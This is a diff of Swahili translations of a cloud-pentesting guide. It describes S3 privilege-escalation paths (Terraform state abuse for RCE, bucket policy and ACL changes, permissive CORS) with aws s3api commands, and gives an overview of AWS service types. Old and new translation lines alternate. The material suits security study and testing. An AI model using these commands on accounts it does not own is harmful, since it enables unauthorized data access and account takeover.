Hivyo, ukibarikiwa na ruhusa zilizotajwa juu ya faili hizi, kuna njia ya kushambulia inayokuwezesha kupata RCE kwenye pipeline ukiwa na ruhusa za `terraform` - mara nyingi `AdministratorAccess`, na kukufanya wewe kuwa msimamizi wa akaunti ya cloud. Pia, unaweza kutumia njia hiyo kufanya mashambulio ya denial of service kwa kuifanya `terraform` kufuta rasilimali halali.
Fuata maelezo katika sehemu *Abusing Terraform State Files* ya ukurasa *Terraform Security* kwa code ya exploit inayoweza kutumika moja kwa moja:
Fuata maelezo katika sehemu ya *Abusing Terraform State Files* ya ukurasa wa *Terraform Security* kwa kodi ya exploit inayotumika moja kwa moja:
{{#ref}}
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
@@ -64,7 +65,7 @@ Fuata maelezo katika sehemu *Abusing Terraform State Files* ya ukurasa *Terrafor
### `s3:PutBucketPolicy`
Mshambuliaji, anayehitajika kuwa **from the same account**, vinginevyo hitilafu `The specified method is not allowed will trigger`, akiwa na ruhusa hii ataweza kujipa ruhusa zaidi juu ya bucket(s) zinazomruhusu kusoma, kuandika, kubadilisha, kufuta na kufichua buckets.
Mshambuliaji, ambaye anahitaji kuwa **from the same account**, vinginevyo hitilafu `The specified method is not allowed will trigger`, kwa ruhusa hii atakuwa na uwezo wa kujipa ruhusa zaidi juu ya bucket(s) kumruhusu kusoma, kuandika, kubadilisha, kufuta na kufichua buckets.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
@@ -122,8 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
```
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
An attacker anaweza kutumia vibaya ruhusa hizi ili **kumpa ufikiaji zaidi** kwa buckets maalum.\
Kumbuka kwamba attacker haitaji kuwa kutoka account hiyo hiyo. Zaidi ya hayo write access
Attacker anaweza kutumia vibaya ruhusa hizi ili **kumpa ufikiaji zaidi** kwa buckets maalum.\
Kumbuka kwamba attacker haahitaji kuwa kutoka akaunti ile ile. Zaidi ya hayo, ufikiaji wa kuandika
```bash
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
@@ -150,7 +151,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
An attacker anaweza kutumia vibaya ruhusa hizi kumpa ufikiaji zaidi kwa objects maalum ndani ya buckets.
Mshambuliaji anaweza kutumia vibaya ruhusa hizi kumruhusu kupata ufikiaji zaidi wa objects maalum ndani ya buckets.
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
@@ -177,16 +178,16 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
Mshambuliaji mwenye vibali hivi anatarajiwa kuwa na uwezo wa kuweka Acl kwa toleo fulani la object
Mshambulizi mwenye vibali hivi anatarajiwa kuweza kuweka Acl kwa toleo maalum la object.
```bash
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
```
### `s3:PutBucketCORS`
Attacker mwenye ruhusa ya `s3:PutBucketCORS` anaweza kubadilisha usanidi wa CORS (Cross-Origin Resource Sharing) wa bucket, ambao unadhibiti ni domain gani za wavuti zinaweza kufikia endpoints yake. Ikiwa watapanga permissive policy, tovuti yoyote inaweza kutuma direct requests kwa bucket na kusoma responses kutoka kwa browser.
Mshambulizi mwenye ruhusa ya `s3:PutBucketCORS` anaweza kubadilisha usanidi wa bucket wa CORS (Cross-Origin Resource Sharing), ambao unadhibiti ni vikoa gani vya wavuti vinaweza kufikia endpoints zake. Ikiwa wataweka sera yenye kuruhusu, tovuti yoyote inaweza kutuma maombi ya moja kwa moja kwa bucket na kusoma majibu kutoka kwa kivinjari.
Hii ina maana kwamba, kwa mfano, ikiwa authenticated user wa web app iliyohost kwenye bucket atatembelea website ya attacker, attacker anaweza exploit permissive CORS policy na, kulingana na application, kupata user's profile data au hata hijack user's account.
Hii ina maana kwamba, iwezekanavyo, ikiwa mtumiaji aliyethibitishwa wa programu ya wavuti inayohost kutoka kwa bucket atatembelea tovuti ya mshambulizi, mshambulizi anaweza kutumia sera ya CORS inayoruhusu na, kulingana na programu, kupata taarifa za wasifu za mtumiaji au hata kudukua akaunti yake.
```bash
aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \

View File

@@ -4,35 +4,29 @@
## Aina za huduma
### Huduma za kontena
### Huduma za container
Huduma zinazojumuishwa katika huduma za kontena zina sifa zifuatazo:
Huduma zinazojumuishwa chini ya huduma za container zina sifa zifuatazo:
- Huduma yenyewe inaendeshwa kwenye **instances za miundombinu tofauti**, kama EC2.
- Huduma yenyewe inaendesha kwenye **miundombinu tofauti** (instances), kama EC2.
- **AWS** inawajibika kwa **kusimamia mfumo wa uendeshaji na jukwaa**.
- Huduma iliyosimamiwa inatolewa na AWS, ambayo kwa kawaida ni huduma yenyewe kwa ajili ya **maombi halisi yanayoonekana kama kontena**.
- Kama mtumiaji wa huduma hizi za kontena, una wajibu kadhaa wa usimamizi na usalama, ikiwa ni pamoja na **kusimamia usalama wa upatikanaji wa mtandao, kama sheria za network access control list na firewalls yoyote**.
- Pia, usimamizi wa utambulisho na upatikanaji kwenye ngazi ya jukwaa inapopatikana.
- **Mifano** ya huduma za kontena za AWS ni pamoja na Relational Database Service, Elastic Mapreduce, na Elastic Beanstalk.
- Huduma iliyosimamiwa hutolewa na AWS, ambayo kawaida ni huduma yenyewe kwa **maombi halisi yanayoonekana kama containers**.
- Kama mtumiaji wa huduma hizi za container, una wajibu mbalimbali wa usimamizi na usalama, ikiwemo **kusimamia usalama wa upatikanaji wa mtandao, kama sheria za network access control list (ACL) na firewall yoyote**.
- Pia, usimamizi wa utambulisho na upatikanaji wa ngazi ya jukwaa pale panapoekea.
- **Mifano** ya huduma za container za AWS ni pamoja na Relational Database Service, Elastic Mapreduce, na Elastic Beanstalk.
### Huduma Abstrakti
### Huduma za Abstrakti
- Huduma hizi zimewekwa nje, zimetolewa, kutoka kwa tabaka la jukwaa au la usimamizi ambalo maombi ya cloud yanajengwa juu yake.
- Huduma zinapatikana kupitia endpoints kwa kutumia AWS application programming interfaces, APIs.
- Huduma hizi zimeabstraktishwa kutoka kwenye safu ya jukwaa au usimamizi ambayo maombi ya cloud yamejengwa juu yake.
- Huduma hizi zinapatikana kupitia endpoints kwa kutumia interfaces za programu za AWS (APIs).
- **Miundombinu ya msingi, mfumo wa uendeshaji, na jukwaa vinasimamiwa na AWS**.
- Huduma zilizofichwa zinatoa jukwaa la multi-tenancy ambalo miundombinu ya msingi inashirikiwa.
- **Data imegawanywa kupitia mbinu za usalama**.
- Huduma za abstrakti zina uingizwaji mkubwa na IAM, na **mifano** ya huduma za abstrakti ni pamoja na S3, DynamoDB, Amazon Glacier, na SQS.
- Huduma zilizofupishwa zinatoa jukwaa la multi-tenancy ambalo miundombinu ya msingi inashirikiwa.
- **Data imegawanywa kupitia mekanismo za usalama**.
- Huduma za abstrakti zina uunganisho imara na IAM, na **mifano** ya huduma za abstrakti ni pamoja na S3, DynamoDB, Amazon Glacier, na SQS.
## Orodha ya Huduma
## Orodhesho la Huduma
**Kurasa za sehemu hii zimepangwa kwa huduma za AWS. Huko utapata taarifa kuhusu huduma (jinsi inavyofanya kazi na uwezo wake) and that will allow you to escalate privileges.**
**Kurasa za sehemu hii zimepangwa kwa huduma za AWS. Ndani yake utaweza kupata taarifa kuhusu huduma (jinsi inavyofanya kazi na uwezo wake) na hiyo itakuwezesha escalate privileges.**
### Related: Amazon Bedrock security
{{#ref}}
aws-bedrock-agents-memory-poisoning.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}